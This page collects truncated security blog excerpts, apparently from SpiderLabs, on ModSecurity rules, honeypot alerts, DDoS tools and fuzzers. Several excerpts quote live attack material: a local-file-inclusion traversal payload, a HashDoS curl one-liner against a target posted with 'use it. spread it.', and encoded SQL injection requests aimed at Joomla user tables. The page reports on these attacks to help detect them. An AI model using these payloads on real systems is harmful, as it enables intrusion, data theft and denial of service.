In a previous blog post, we provided details of a DDoS attack tool called LOIC (Low Orbit Ion Canon) used by Anonymous in supports of denial of service attacks over the past year. Attackers are constantly changing their tactics and tools in response to defender’s actions. Recently, the SANS Internet Storm Center (ISC) also highlighted a javascript verion of LOIC that, while generating the same attack traffic as our previous analysis showed, actually executed the…

read more from this topic.....

Our web honeypots generated the following ModSecurity alert today: [Thu Jan 19 17:55:55 2012] [error] [client 218.145.160.100] ModSecurity: Warning. Pattern match ".*" at TX:950103-WEB_ATTACK/DIR_TRAVERSAL-ARGS:spo_site_lang. [file "/usr/local/apache/conf/crs/base_rules/modsecurity_slr_46_lfi_attacks.conf"] [line "6379"] [id "2074201"] [rev "011712"] [msg "SLR: Simple Page Options Module for Joomla! modules/mod_spo/email_sender.php spo_site_lang Parameter Traversal Local File Inclusion"] [data "../../../../../../../../../../../../..//proc/self/environ\\x0000"] [severity "CRITICAL"] [tag "WEB_ATTACK/LFI"] [tag "http://osvdb.org/show/osvdb/74201"] [hostname "XXXXXXXXX"] [uri "/modules/mod_spo/email_sender.php"] [unique_id "TxgfUsCoAWQAATMwHvsAAAAB"] This rule is part of our commercial rules feed for ModSecurity which identifies attacks…

read more from this topic.....

ThreatPost had a news story today about PoC code that was released to the full disclosures mail-list: ASP.NET HashDoS PoC/exploit payload From: Disaster <disaster () sdf-eu org> Date: Fri, 6 Jan 2012 23:19:07 +0000 folks, ASP.NET HashDoS PoC/exploit payload ready for download. get it. use it. spread it. https://github.com/HybrisDisaster/aspHashDoS use it your own way. curl https://raw.github.com/HybrisDisaster/aspHashDoS/asphashdos.4mb | curl http://target/website.aspx -d () – cat asphashdos.1mb | curl http://target/website.aspx -d () – — We are Legion. Expect…

read more from this topic.....

Slow-Read DoS Attack Background Another tweak in the ongoing "Slow" DoS attacks has emerged this week. The previous Slow DoS attacks focuses on methods of slowing down the rate of request data sent to the target web server. This time, the attack centers on a method of slowing down the rate at which the client (attacker) is able to consume the response data sent back by the web server – hence the name "Slow Read"…

read more from this topic.....

As we reported in the previous [Honeypot Alert] WordPress/Joomla/Mambo SQL Injection Scanning Detected alert – we have identified an increase in mass SQL Injection scanning targeting various community components. While this scanning is still ongoing, we have identified a slight variation if the attack methodology used. Here are examples from today’s web server logs: GET /index.php?option=com_acprojects&page=7&lang=de&Itemid=null and 1=2%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C2%2C0x33633273366962%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users– HTTP/1.1 GET /index.php?option=com_acprojects&page=7&lang=de&Itemid=null and 1=2%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C2%2C0x33633273366962%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2F%2A%2A%2FfRoM%2F%2A%2A%2Fmos_users– HTTP/1.1 GET /index.php?option=com_acstartseite&lang=de&Itemid=null and 1=2%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C2%2C0x33633273366962%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2F%2A%2A%2FfRoM%2F%2A%2A%2Fmos_users– HTTP/1.1 GET /index.php?option=com_acteammember&Itemid=121&lang=en&id=-1%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C2%2C3%2C4%2C5%2C0x33633273366962%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users– HTTP/1.1 GET /index.php?option=com_agency&task=view&aid=-1%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users– HTTP/1.1…

read more from this topic.....

SpiderLabs Research Team has been tracking an increase in WordPress Timthumb plug-in scanning. How wide spread are the attacks? We just added the following entry to the Web Hacking Incident Database (WHID) – WHID 2011-262: Hackers ‘Timthumb’ Their Noses At Vulnerability To Compromise 1.2 Million Sites WordPress Timthumb Vulnerabilities WordPress plug-ins have had a long history of security issues and the latest one that is being targeted by attackers is Timthumb which is an image…

read more from this topic.....

SpiderLabs Research Team has been tracking an increase in WordPress Timthumb plug-in scanning. How wide spread are the attacks? We just added the following entry to the Web Hacking Incident Database (WHID) – WHID 2011-262: Hackers ‘Timthumb’ Their Noses At Vulnerability To Compromise 1.2 Million Sites WordPress Timthumb Vulnerabilities WordPress plug-ins have had a long history of security issues and the latest one that is being targeted by attackers is Timthumb which is an image…

read more from this topic.....

As you may have heard, Trustwave recently announced the availability of commercial rules and support for open source ModSecurity users. Since the announcement, we have received numerous requests for more information about the commercial rules. This blog post will provide an overviewe of this new offering. OWASP ModSecurity CRS The OWASP ModSecurity Core Rule Set’s security model is based on the concept of "generic attack detection" which means that it analyzes all HTTP transactional data…

read more from this topic.....

Remote file inclusion (RFI) is a popular technique used to attack web applications (especially php applications) from a remote server. RFI attacks are extremely dangerous as they allow a client to to force an vulnerable application to run their own malicious code by including a reference pointer to code from a URL located on a remote server. When an application executes the malicious code it may lead to a backdoor exploit or technical information retrieval….

read more from this topic.....

ModSecurity is the most popular open source web application firewall (WAF) deployed today. We receive thousands of downloads each month from our main repository alone. It is estimated that there are over 1 million sites on the internet using it to fend off attacks. The SpiderLabs team at Trustwave has spent the last 14 months listening to end-user feedback and leveraging the application security research and expertise on our team to make ModSecurity better for…

read more from this topic.....

This is a follow-up to a previous blog post entitled "Real-time Application Profiling" that implements extended profiling logic using the ModSecurity Lua API. AppSensor Detection Points SpiderLabs Research Team is happy to announce that we have just updated the OWASP ModSecurity Core Rule Set SVN repository with new application profiling rules that implement the OWASP AppSensor’s Request Exception Detection Points: 2.1 RequestException 2.1.1 RE1: Unexpected HTTP Command 2.1.2 RE2: Attempt to Invoke Unsupported HTTP Method…

read more from this topic.....

UPDATE – since this original post, we added new data manipulation capabilities to v2.6.0 with the introduction of the @rsub operator. See the last section on modifying outbound data server-side. This week’s installment of Detecting Malice with ModSecurity will discuss how to detect and prevent Cross-Site Request Forgery (CSRF) Attacks. Example CSRF Section of Robert "Rsnake" Hansen’s book "Detecting Malice" – One form of attack that is widely found to be present on most websites…

read more from this topic.....

Update After deeper research into the underlying vulnerability and analyzing customer traffic, SpiderLabs has developed a new BETA ModSecurity ruleset to mitigate the Apache Range Header DoS vulnerability. The following rules may be used to truncate the Range header fields to five: SecRule REQUEST_HEADERS:Range|REQUEST_HEADERS:Request-Range "^bytes=\s*((\d+)?\-(\d+)?\,){5,}" "chain,phase:1,t:none,log,msg:’Truncating Large Range Header Field.’,capture,pass" SecRule REQUEST_HEADERS:Range|REQUEST_HEADERS:Request-Range "^bytes=\s*((\d+)?\-(\d+)?\,){5}" "chain,capture" SecRule TX:0 "^(.*),$" "capture,setenv:range_header=%{tx.1}" RequestHeader unset Range env=range_header RequestHeader set Range "%{range_header}e" env=range_header These rules work by first checking for a…

read more from this topic.....

Automated Virtual Patching Example Script The SpiderLabs Research Team has added an example script to the OWASP ModSecurity Core Rule Set (CRS) Project archive that will help users to quickly implement virtual patches for vulnerabilities identified by an open source web vulnerability scanning tool. The example script (arachni2modsec.pl) is located in the /util directory of the CRS archive in SVN and will auto-convert XML data from the Arachni web application scanning framework written by Tasos…

read more from this topic.....

It was only the start of July when we talked about Adobe Patching PDF Vulnerabilities Being Exploited In The Wild and once again they are suffering a serious vulnerability which allows code execution from a malicious PDF document. This time the vulnera…

read more from this topic.....

Browser Fuzzer 3, or bf3, is a comprehensive web browser fuzzer. Browser Fuzzer 3 is designed as a hybrid framework/standalone fuzzer; the modules it uses are extensible but also highly integrated into the core. bf3 can be used via command line to set …

read more from this topic.....

CAT.NET is a binary code analysis tool that helps identify common variants of certain prevailing vulnerabilities that can give rise to common attack vectors such as Cross-Site Scripting (XSS), SQL Injection and XPath Injection.

CAT.NET is a snap-in to…

read more from this topic.....

fm-fsf is a new fuzzer/data scraper that works under OSX, Linux (with Mono) and Windows (.NET Framework). Fuzzing tools are always useful if you are looking at discovering some new flaws in a software or web service.
Quick Info

FSF is a plug-in based …

read more from this topic.....